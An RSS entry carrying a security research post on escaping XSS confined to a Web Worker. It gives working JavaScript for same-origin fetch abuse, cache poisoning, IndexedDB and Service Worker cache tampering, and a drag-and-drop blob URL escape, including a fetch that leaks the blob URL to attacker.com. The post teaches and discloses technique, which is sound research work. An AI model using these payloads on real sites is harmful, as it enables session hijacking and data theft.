      <link>https://lab.ctbb.show/research/Exploiting-web-worker-XSS-with-blobs</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/Exploiting-web-worker-XSS-with-blobs</guid>
      <pubDate>Fri, 08 Aug 2025 00:00:00 +0000</pubDate>
      <author>Jorian Woltjer</author>
      <description>Ways to turn XSS in a Web Worker into full XSS, covering known tricks and a new generic exploit using Blob URLs with the Drag and Drop API</description>
      <content:encoded><![CDATA[<p>One edge case that you may encounter in Cross-Site Scripting (XSS) is being locked inside of a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Web Worker</a>. Your JavaScript payload will be running same-origin to the main window, but won’t have access to many APIs that a regular XSS would.<br />
This post explores ways to maximize impact from the few APIs that are still usable, as well as completely escaping the sandbox. In the new technique, it shows an interesting interaction involving Drag and Drop to open URLs that an attacker normally wouldn’t be able to open.</p>

<p>The research into this specific feature was inspired by sudi’s <a href="https://sudistark.github.io/2025/07/02/idx.html">“XSS in Google IDX Workstation”</a> writeup, posted in the <a href="https://discord.com/channels/1110206757227216916/1174721205568290826/1400403526966054963"><code class="language-plaintext highlighter-rouge">#cool-research</code></a> channel in Discord.</p>

<h2 id="web-workers">Web Workers</h2>

<p>Web Workers are essentially a separate thread to run JavaScript code in. They are recognizable by their <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/Worker"><code class="language-plaintext highlighter-rouge">Worker()</code></a> constructor, which takes a <em>URL</em> similar to <a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API">Service Workers</a>, but in addition also allows <a href="https://developer.mozilla.org/en-US/docs/Web/URI/Reference/Schemes/blob"><code class="language-plaintext highlighter-rouge">blob:</code></a> URLs for inline content.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">worker</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Worker</span><span class="p">(</span><span class="dl">"</span><span class="s2">worker.js</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">blob</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Blob</span><span class="p">([</span><span class="s2">`debugger;`</span><span class="p">],</span> <span class="p">{</span> <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text/javascript</span><span class="dl">"</span> <span class="p">});</span>
<span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">URL</span><span class="p">.</span><span class="nx">createObjectURL</span><span class="p">(</span><span class="nx">blob</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">worker</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Worker</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>  <span class="c1">// This works for Web Workers, but not Service Workers</span>
</code></pre></div></div>

<p>Either of these methods may have injection points for you to control part of the Worker source code, allowing you to execute arbitrary JavaScript in the Worker context. It’s also possible for the existing code to have <em>vulnerabilities</em> like a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/message_event"><code class="language-plaintext highlighter-rouge">"message"</code></a> event handler where the main window uses <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage"><code class="language-plaintext highlighter-rouge">postMessage()</code></a> to send data to the <code class="language-plaintext highlighter-rouge">worker</code> reference. It may handle data unsafely, resulting in XSS in the Worker.</p>

<p>Workers run in a different JavaScript global scope (<a href="https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope"><code class="language-plaintext highlighter-rouge">WorkerGlobalScope</code></a>), and a separate thread. They don’t share any variables/prototypes with the main window, it doesn’t have access to the DOM or most storage APIs, and can’t access many of the regular window APIs such as <code class="language-plaintext highlighter-rouge">location</code>, <code class="language-plaintext highlighter-rouge">window.open()</code>, or our trusty <code class="language-plaintext highlighter-rouge">alert()</code>.</p>

<p>Some allowed features are still useful because they run same-origin. We will look at these in detail in the next section to evaluate exactly what options we have to prove the impact of XSS inside a Web Worker.</p>

<p>See <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers">Functions and classes available to Web Workers</a> for an exhaustive list, and to be sure we aren’t missing anything, run some testing JavaScript inside any Worker that logs all global variables:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">props</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="kd">set</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Set</span><span class="p">();</span>
  <span class="k">while</span> <span class="p">(</span><span class="nx">obj</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">key</span> <span class="k">of</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertyNames</span><span class="p">(</span><span class="nx">obj</span><span class="p">))</span> <span class="p">{</span>
      <span class="kd">set</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="nx">obj</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="p">[...</span><span class="kd">set</span><span class="p">];</span>
<span class="p">}</span>
<span class="nx">props</span><span class="p">(</span><span class="nx">globalThis</span><span class="p">).</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">p</span> <span class="o">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">p</span><span class="p">,</span> <span class="nx">globalThis</span><span class="p">[</span><span class="nx">p</span><span class="p">]));</span>
</code></pre></div></div>

<h2 id="sensitive-apis">Sensitive APIs</h2>

<p>From the output of the above JavaScript snippet, we can gather some ideas to exploit. Below are the most common ones.</p>

<h3 id="fetch-api">Fetch API</h3>

<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope/fetch"><code class="language-plaintext highlighter-rouge">fetch()</code></a> function is still available to Web Workers, and will be executed with the same origin as the main window. That means you can request any path and expect cookies to be sent with it, as well as CORS to allow you to read the response. If there are APIs you can call with this, you’re quickly disclosing sensitive information, but fetching generated HTML and parsing it can work just as well.</p>

<p>It doesn’t stop at fetching data; you’ll also be able to make any complex request that alters some data of the victim, CSRF-style. If there are CSRF tokens, you can just fetch them from any same-origin HTML page.</p>

<blockquote>
  <p><strong>Note</strong>: URLs passed to this version of fetch need to be <em>absolute</em>, so make sure to provide the same full domain as the worker is registered on here.</p>
</blockquote>

<p>Another more complex idea to elevate your Worker XSS to a fully-featured XSS is to <strong>poison the cache</strong> of certain resources. Let’s say there is some <code class="language-plaintext highlighter-rouge">/script.js</code> resource that is affected by an <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> header in which we can inject arbitrary code. You’ll be able to fetch this resource from the worker to poison it with malicious <code class="language-plaintext highlighter-rouge">headers:</code> and get it stored in the browser’s own disk cache. When the victim then visits the page that loads this resource again, your version will be used, and any injected script will execute in the regular context.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://criticalthinkingpodcast.io/script.js</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
  <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">X-Forwarded-Host</span><span class="dl">"</span><span class="p">:</span> <span class="s2">`"-alert(origin)-"`</span> <span class="c1">// Example injection</span>
  <span class="p">},</span>
  <span class="na">cache</span><span class="p">:</span> <span class="dl">"</span><span class="s2">reload</span><span class="dl">"</span>  <span class="c1">// Make sure it generates a new cache entry</span>
<span class="p">});</span>
</code></pre></div></div>

<h3 id="postmessage">postMessage</h3>

<p>Possibly the most common way to escape from a Worker XSS in the past has been through <a href="https://developer.mozilla.org/en-US/docs/Web/API/DedicatedWorkerGlobalScope/postMessage"><code class="language-plaintext highlighter-rouge">postMessage()</code></a> vulnerabilities back to the main window. Because messages from the worker may be trusted, dangerous sinks can be reached. For large and complex applications, this is more often the case.</p>

<p>How this works is that the Worker has a <code class="language-plaintext highlighter-rouge">postMessage()</code> function available on its global scope, which sends the message to the main window. The main window needs to listen for <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/message_event"><code class="language-plaintext highlighter-rouge">"message"</code></a> events on the Worker object to receive these.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// main window</span>
<span class="kd">const</span> <span class="nx">worker</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Worker</span><span class="p">(</span><span class="dl">"</span><span class="s2">worker.js</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">worker</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">message</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">alert</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>  <span class="c1">// May be vulnerabilities here, data comes from worker</span>
<span class="p">});</span>
</code></pre></div></div>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// worker.js</span>
<span class="nx">postMessage</span><span class="p">(</span><span class="dl">"</span><span class="s2">Hello, world!</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="indexeddb">IndexedDB</h3>

<p>The only storage shared between the main window and a Web Worker is <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>; therefore, it is likely to contain information in an application that uses Workers. This API is essentially a key-value store that can be queried and written to.</p>

<p>Similar to the last examples, you may find sensitive information here or be able to change it to achieve impact. The main window could even use it unsafely, escaping the sandbox.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Reading (dump all)</span>
<span class="kd">const</span> <span class="nx">dbs</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">indexedDB</span><span class="p">.</span><span class="nx">databases</span><span class="p">();</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">db</span> <span class="k">of</span> <span class="nx">dbs</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">conn</span> <span class="o">=</span> <span class="k">await</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">indexedDB</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">db</span><span class="p">.</span><span class="nx">name</span><span class="p">).</span><span class="nx">onsuccess</span> <span class="o">=</span> <span class="nx">e</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">result</span><span class="p">));</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">conn</span><span class="p">.</span><span class="nx">objectStoreNames</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>
  <span class="kd">const</span> <span class="nx">tx</span> <span class="o">=</span> <span class="nx">conn</span><span class="p">.</span><span class="nx">transaction</span><span class="p">(</span><span class="nx">conn</span><span class="p">.</span><span class="nx">objectStoreNames</span><span class="p">);</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">storeName</span> <span class="k">of</span> <span class="nx">conn</span><span class="p">.</span><span class="nx">objectStoreNames</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">await</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">tx</span><span class="p">.</span><span class="nx">objectStore</span><span class="p">(</span><span class="nx">storeName</span><span class="p">).</span><span class="nx">getAll</span><span class="p">().</span><span class="nx">onsuccess</span> <span class="o">=</span> <span class="nx">e</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">result</span><span class="p">));</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">db</span><span class="p">.</span><span class="nx">name</span><span class="p">,</span> <span class="nx">storeName</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="nx">conn</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
<span class="p">}</span>
<span class="c1">// Writing (example)</span>
<span class="kd">const</span> <span class="nx">store</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">messages</span><span class="dl">"</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">conn</span> <span class="o">=</span> <span class="k">await</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">indexedDB</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">app</span><span class="dl">"</span><span class="p">).</span><span class="nx">onsuccess</span> <span class="o">=</span> <span class="nx">e</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">result</span><span class="p">));</span>
<span class="nx">tx</span> <span class="o">=</span> <span class="nx">conn</span><span class="p">.</span><span class="nx">transaction</span><span class="p">([</span><span class="nx">store</span><span class="p">],</span> <span class="dl">'</span><span class="s1">readwrite</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">tx</span><span class="p">.</span><span class="nx">objectStore</span><span class="p">(</span><span class="nx">store</span><span class="p">).</span><span class="nx">put</span><span class="p">({</span><span class="na">id</span><span class="p">:</span> <span class="dl">"</span><span class="s2">1337</span><span class="dl">"</span><span class="p">,</span> <span class="na">html</span><span class="p">:</span> <span class="dl">"</span><span class="s2">&lt;img src onerror=alert(origin)</span><span class="dl">"</span><span class="p">});</span>
<span class="nx">conn</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
</code></pre></div></div>

<h3 id="poisoning-caches-of-service-worker">Poisoning caches of Service Worker</h3>

<p>One key you might notice while looking at the limited set of variables available in the Web Worker scope is <a href="https://developer.mozilla.org/en-US/docs/Web/API/WorkerGlobalScope/caches"><code class="language-plaintext highlighter-rouge">caches</code></a>. This object is shared with the main window and <em>Service Workers</em>, allowing access to the cache storage that this website has implemented itself in JavaScript (this is different from the default Disk Cache).</p>

<p><a href="https://mizu.re/post/heroctf-v6-writeups#underConstruction-gadget-cacheapi">@kevin_mizu wrote about</a> being able to overwrite cache entries via this API to gain persistence from a regular window XSS, and we can do exactly the same from Web Workers. The requirement is that the application needs to use a Service Worker that returns JavaScript or HTML directly from the cache, so we can inject a payload into it.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Enumeration</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">key</span> <span class="k">of</span> <span class="k">await</span> <span class="nx">caches</span><span class="p">.</span><span class="nx">keys</span><span class="p">())</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">requests</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">caches</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">key</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="nx">c</span> <span class="o">=&gt;</span> <span class="nx">c</span><span class="p">.</span><span class="nx">keys</span><span class="p">());</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">requests</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">url</span><span class="p">));</span>
<span class="p">}</span>
<span class="c1">// Exploitation</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">key</span> <span class="k">of</span> <span class="k">await</span> <span class="nx">caches</span><span class="p">.</span><span class="nx">keys</span><span class="p">())</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">cache</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">caches</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">req</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Request</span><span class="p">(</span><span class="dl">"</span><span class="s2">/page</span><span class="dl">"</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Response</span><span class="p">(</span><span class="s2">`&lt;script&gt;alert(origin)&lt;/script&gt;`</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text/html</span><span class="dl">"</span> <span class="p">}</span>
  <span class="p">});</span>
  <span class="k">await</span> <span class="nx">cache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">location</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/page</span><span class="dl">"</span><span class="p">;</span>
</code></pre></div></div>

<hr />

<p>There is one more API only available in certain browsers, not mentioned in this article, check out <a href="https://joaxcar.com/fun/worker/alert_me_plz.html">@joaxcar’s challenge</a> to see if you can find it!</p>

<h2 id="new-drag-and-dropping-blob-urls">New: Drag and Dropping Blob URLs</h2>

<p>Now that you understand the existing techniques and their preconditions, it’s time for the <strong>new technique</strong> that works in every situation (although Chrome-only), requiring one interaction on the attacker’s site: dragging the mouse.</p>

<p>It abuses the fact that <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob"><code class="language-plaintext highlighter-rouge">Blob</code></a> objects can be created from Workers and can also be turned into URLs that have the same origin as any other page on the domain with <a href="https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL_static"><code class="language-plaintext highlighter-rouge">URL.createObjectURL()</code></a>.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">blob</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Blob</span><span class="p">([</span><span class="dl">'</span><span class="s1">&lt;script&gt;alert(origin)&lt;/script&gt;</span><span class="dl">'</span><span class="p">],</span> <span class="p">{</span><span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">text/html</span><span class="dl">"</span><span class="p">});</span>
<span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">URL</span><span class="p">.</span><span class="nx">createObjectURL</span><span class="p">(</span><span class="nx">blob</span><span class="p">);</span>  <span class="c1">// 'blob:https://criticalthinkingpodcast.io/976ac7b7-6794-4916-8478-3df64b308bb6'</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Hint</strong>: While Blob URLs look like paths on the server, they are purely client-side, and the second you close the tab that created it, they will be deleted. See them as simulated pages that can have content and content types just like regular responses, but don’t need to connect to the server.</p>
</blockquote>

<p>You can copy this URL and paste it into the address bar, triggering the <code class="language-plaintext highlighter-rouge">alert()</code>. But if we try to redirect to it <em>from our attacker’s site</em>, we will see <code class="language-plaintext highlighter-rouge">ERR_UNSAFE_REDIRECT</code> or “Not allowed to load local resource”. Doing so instead from the target site will work fine; Chrome is preventing cross-origin sites from navigating to other origins’ blobs. From inside the Web Worker, there is no API to directly redirect to the blob, so this is a problem.</p>

<p>One solution is to leak the URL to the attacker so they can set up a simple page that convinces them to copy-paste the URL into the address bar. This interaction is a bit far-fetched (pun intended), but the important thing to understand is that we can load it if there is <strong>no initiator</strong>. It would also work if the user right-clicks and opens the Blob URL <code class="language-plaintext highlighter-rouge">&lt;a&gt;</code> link in a new tab, for example.</p>

<p>The first part of this is easy, just send it away with an external fetch request:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://attacker.com/leak?</span><span class="dl">"</span> <span class="o">+</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">({</span> <span class="nx">url</span> <span class="p">}));</span>
</code></pre></div></div>

<p>The attacker will then see the Blob URL leaked in their logs and can prepare the next step.</p>

<blockquote>
  <p><code class="language-plaintext highlighter-rouge">GET /leak?url=blob%3Ahttps%3A%2F%2Fcriticalthinkingpodcast.io%2F976ac7b7-6794-4916-8478-3df64b308bb6</code></p>
</blockquote>

<p>For opening the link without being related to the attacker’s page, we can start to look at the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTML_Drag_and_Drop_API">Drag and Drop API</a>. If you drag a link on the page to where the tab titles are and drop it there, it will be visited, and Blob URLs from other origins load as well!<br />
The final breakthrough is a similar interaction that does the same: dragging a URL <em>into a popup window</em>. On the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dragstart_event"><code class="language-plaintext highlighter-rouge">"dragstart"</code></a> event, we can call <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/open"><code class="language-plaintext highlighter-rouge">window.open()</code></a> with specific <code class="language-plaintext highlighter-rouge">windowFeatures</code> to take up the whole screen. Dropping the URL anywhere on the page now will visit it in a new tab, without any initiator, executing the XSS stored in the Blob URL.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"blob:https://criticalthinkingpodcast.io/976ac7b7-6794-4916-8478-3df64b308bb6"</span><span class="nt">&gt;</span>Drag me<span class="nt">&lt;/a&gt;</span>
<span class="nt">&lt;script&gt;</span>
<span class="nx">ondragstart</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">""</span><span class="p">,</span> <span class="dl">""</span><span class="p">,</span> <span class="dl">"</span><span class="s2">left=0,top=0,height=9999,width=9999</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>To make dragging this URL more convincing, we can make use of the fact that a <a href="https://developer.mozilla.org/en-US/docs/Web/API/DragEvent">DragEvent</a> lets you change the data after you’ve started dragging using <a href="https://developer.mozilla.org/en-US/docs/Web/API/DataTransfer/setData"><code class="language-plaintext highlighter-rouge">dataTransfer.setData()</code></a>. That means all we need is to tell the user to drag an <em>image</em> anywhere, and when they start doing so, change the data to the leaked Blob URL.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">ondragstart</span> <span class="o">=</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">""</span><span class="p">,</span> <span class="dl">""</span><span class="p">,</span> <span class="dl">"</span><span class="s2">left=0,top=0,height=9999,width=9999</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">e</span><span class="p">.</span><span class="nx">dataTransfer</span><span class="p">.</span><span class="nx">clearData</span><span class="p">();</span>
  <span class="nx">e</span><span class="p">.</span><span class="nx">dataTransfer</span><span class="p">.</span><span class="nx">setData</span><span class="p">(</span><span class="dl">"</span><span class="s2">text/uri-list</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">blob:https://criticalthinkingpodcast.io/976ac7b7-6794-4916-8478-3df64b308bb6</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>All together, this creates a realistic attack where all the victim has to do is drag anywhere on the page in order to escalate a Web Worker XSS to a full one, enabling access to the DOM, localStorage, and any other APIs that are potentially necessary to show impact.</p>

<p>The following gist contains a simple vulnerable server that forwards a <code class="language-plaintext highlighter-rouge">postMessage</code> insecurely handled by the Worker. In summary, the exploit works as follows:</p>

<ol>
  <li>Gain XSS in the Web Worker.</li>
  <li>Generate a new HTML <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob"><code class="language-plaintext highlighter-rouge">Blob</code></a> with your final XSS payload (eg. <code class="language-plaintext highlighter-rouge">alert(origin)</code>).</li>
  <li>Make a <code class="language-plaintext highlighter-rouge">blob:</code> URL from it and leak that via an external <code class="language-plaintext highlighter-rouge">fetch()</code> to your server.</li>
  <li>Prepare a page that tells the user to drag, then replaces any dragged data with the leaked Blob URL while opening a full-screen popup. When the user inevitably lets go of their mouse, it will automatically open it in a new tab, executing the final XSS.</li>
</ol>

<p><a href="https://gist.github.com/JorianWoltjer/e81e7b1a3e892a3dcd250934a38f1174">https://gist.github.com/JorianWoltjer/e81e7b1a3e892a3dcd250934a38f1174</a></p>

<p><img src="/research/articles/ArticleNo0001/worker_xss_recording.gif" alt="Animation of dragging on the page resulting in XSS on http://127.0.0.1:8000" /></p>

]]></content:encoded>
    </item>
    
  </channel>
</rss>
